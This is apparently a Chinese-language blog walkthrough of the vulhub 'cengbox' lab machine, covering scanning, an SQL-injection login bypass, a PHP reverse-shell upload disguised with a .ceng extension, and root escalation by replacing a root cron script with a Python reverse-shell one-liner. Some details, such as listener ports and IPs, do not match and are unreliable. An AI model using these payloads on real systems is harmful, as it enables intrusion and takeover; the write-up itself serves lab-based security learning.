vulhub打靶记录——cengbox

本文详细描述了通过主机发现、端口扫描、SSH漏洞搜索、Web渗透(包括nikto扫描、目录遍历和登录后台)、以及提权过程,展示了如何逐步利用网络漏洞获取权限。最终通过Linpeas和pspy工具进行深入操作,获取了flag。
摘要由CSDN通过智能技术生成

主机发现

使用nmap扫描局域网内存活的主机,命令如下:

nmap -sP 192.168.56.0/24

在这里插入图片描述

  • 192.168.56.1:主机IP;
  • 192.168.56.100:DHCP服务器IP;
  • 192.168.56.101:Kali IP;
  • 192.168.56.105:靶机IP。

或者使用netdiscover通过ARP数据包扫描网段,命令如下:

netdiscover -i eth0 -r 192.168.56.0/24

-i指定网卡,指定哪个网卡,就扫描哪个网卡所在的局域网;
-r:扫描范围。

在这里插入图片描述

端口扫描

使用nmap对靶机进行端口扫描,命令如下:

nmap -p- -sV -A 192.168.56.105 -oN scan.txt

-oN:以txt文本格式输出nmap扫描结果。

在这里插入图片描述
只有发现靶机开放了22端口(ssh服务)和80端口(web服务)。web服务的中间件是apache 2.4.18。

搜索SSH EXP

使用searchsploit搜索ssh历史漏洞,发现只有用户名枚举,意义不大。

在这里插入图片描述

web渗透

nikto扫描

22端口没有可利用的漏洞,只能在web上找到突破口,首先用nikto对网站进行扫描,看是否有低级的漏洞。

nikto -host http://192.168.56.105

在这里插入图片描述
检测出apache版本,还有一些跨站的信息,对我们来说意义不大。

目录扫描

使用dirsearch进行目录扫描。命令如下:

dirsearch -u http://192.168.56.105 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述

或者使用gobuster,命令如下:

dirsearch dir -u http://192.168.56.105  -w ./directory.txt -x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述

http状态码的含义:

  • 2XX:成功状态,表明客户端的请求已经被服务器端成功接收并正确解析。200表示请求成功
  • 3XX:重定向,表示客户端需要采取更进一步的行动来完成请求。301代表永久重定向
  • 4XX:客户端错误,表示客户端的请求存在错误,导致服务器无法处理。401表示需要身份验证,403表示禁止访问

访问http://192.168.56.105/index.php,发现是一个静态网站,然后访问目录扫描的路径(两个扫描结果,状态码:301)的时候,其实没有实际上返回403。

在这里插入图片描述
需要注意的是,dirsearch扫出了一个masteradmin路径,这个路径有admin,可能是一个对我们有用的信息,再用dirsearchgobuster扫描masteradmin这个路径。命令如下:

dirsearch -u http://192.168.56.105/masteradmin -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述

登录网站后台

扫出了后台http://192.168.56.105/masteradmin.login.php。碰到后台登录框,先测试SQL注入。

username='&password=' # 显示username and password invalid
username=a&password=a # 显示username and password invalid,判断是不是真的做了过滤
username=' or 1=1 --+&password=' or 1=1 --+ # 万能密码,登陆成功

前台显示用户名密码invalid,有两种情况

  • 后端代码真的做了过滤,过滤掉非法字符;
  • sql语句是以分号为间隔来检测有没有报错,一旦某个语句出现错误,部分程序会catch这个异常,并返回给前端用户名invalid。

在这里插入图片描述
在这里插入图片描述
这里直接上传一个php脚本,发现这里采用了白名单限制,只允许文件后缀为.ceng的文件,既然白名单,我们只能将后缀改为.ceng,再访问上传的文件,看能不能被解析为php文件,不能就再说。

在这里插入图片描述
将文件名改为1.ceng,成功上传~

在这里插入图片描述
因为前期目录扫描的时候发现了一个uploads目录,可以猜测刚刚上传的文件应该上传到了uploads目录里,直接访问http://192.168.56.105/uploads/1.ceng
在这里插入图片描述
发现能够执行php脚本,再重新上传一个php reverse shell脚本,更改ip和端口。php-reverse-shell

#修改内容
$ip=192.168.56.105;
$port=4444;

在这里插入图片描述

在kali上监听4444端口,命令如下:

nc -nlvp 4444

再访问http://192.168.56.105/uploads/shell.ceng,成功反弹shell~
在这里插入图片描述

提权

登录到主机后,做以下事情:
1、 到home目录下看有哪些用户有自己的目录,即,哪些用户能登录该主机;
在这里插入图片描述
该主机存在一个用户cengover,还有一个隐藏文件夹.ecryptfs
在这里插入图片描述
发现当前用户不可读。(其实后面的几步都不用看,这里只是完整表达登录主机后该做的事情。)

2、搜索具备SUID权限的程序,命令如下:

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
这里没有有用的文件。

3、查看定时任务,命令如下:

cat /etc/crontab

在这里插入图片描述
这里也没有有用的定时任务。
4、查看当前进程信息,命令如下:

ps -ef //显示所有命令,连带命令行

在这里插入图片描述
也是没有什么有用的信息。

下载自动化提权脚本linPEAS,首先将Linpeas脚本下载到kali上,再部署http服务,命令:

python3 -m http.server 80

在靶机上通过web服务下载linpeas脚本,命令:

wget http://192.168.56.101/Linpeas.sh
chmod +x linpeas.sh # 赋予脚本可执行的权限
./linpeas.sh # 执行脚本

wget http://xxx是下载命令,curl http://xxx是将网站内容返回到命令行中。

在这里插入图片描述
在这里插入图片描述
首先,根据提示:红色是需要重点关注的对象。
在这里插入图片描述
能力问题,没有发现太多有用的东西。使用uname -a查看系统是多少位的,靶机64位
在这里插入图片描述

使用同样的方法,往靶机上上传papy64

wget http://192.168.56.101/pspy64
chmod +x pspy64 # 赋予脚本可执行的权限
./pspy64 # 执行脚本

系统上有些定时任务并不是通过操作系统(linux,/etc/crontab)进行配置,而pspy脚本会检测系统中运行的进程。

在这里插入图片描述

  • UID=0,表示root用户;
  • /bin/sh -c,-c 命令表示后面的参数将会作为字符串读入作为执行的命令。故/bin/sh -c /usr/bin/python3 /opt/md5check.py其实就是python3 md5check.py

系统每隔一分钟执行md5check.py这个文件(还不知道这个时间的含义,这个时间是系统是时间,可能跟我们实际时间不一样),去看看这个文件~该文件只允许root用户和users组的用户读写,而当前用户及当前用户所属的组均是www-data。说明我们必须切换到/home/cengover这个用户,但问题是cengover用户的密码我们不知道

在这里插入图片描述
靶机上存在web服务,就说明应该会有数据库,不然之前怎么登录到后台的呢

cd /var/www/html
cd masteradmin
ls -al
mysql -uroot -p

db.php中,我们发现了数据库的用户名和密码~,尝试登录mysql数据库,
在这里插入图片描述

发现没有回显,这种情况可能是非交互shell的原因,试试建立一个半交互式shell;

使用命令建立半交互式shell,成功登录到mysql数据库中~

python -c 'import pty; pty.spawn("/bin/bash")'  # 获取半交互式shell
mysql -uroot -p # 登录mysql数据库

在这里插入图片描述

show databases; # 查看数据库;
use cengbox; # 进入cengbox这个数据库
show tables; # 查看cengbox这个数据库里的表
select * from admin; 查看admin表的内容

在这里插入图片描述

按道理来说,这个masteradmin的密码应该是网站后台的密码。试下cengover用户的密码是不是也是masteradmin的密码。

su cengover切换到cengover用户,切换成功~
在这里插入图片描述
因为之前通过pspy64发现系统会在每分钟的01秒执行md5check.py文件,执行者为root,所以只要我们修改md5check.py文件的内容为一个python reverser shell就可以将root用户的shell反弹到kali上。快速生成shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在这里插入图片描述

nc -nlvp 5555 # kali上监听5555端口
./pspy64 # 执行pspy脚本查看系统进程

在这里插入图片描述

成功拿到flag~

在这里插入图片描述

  • 12
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值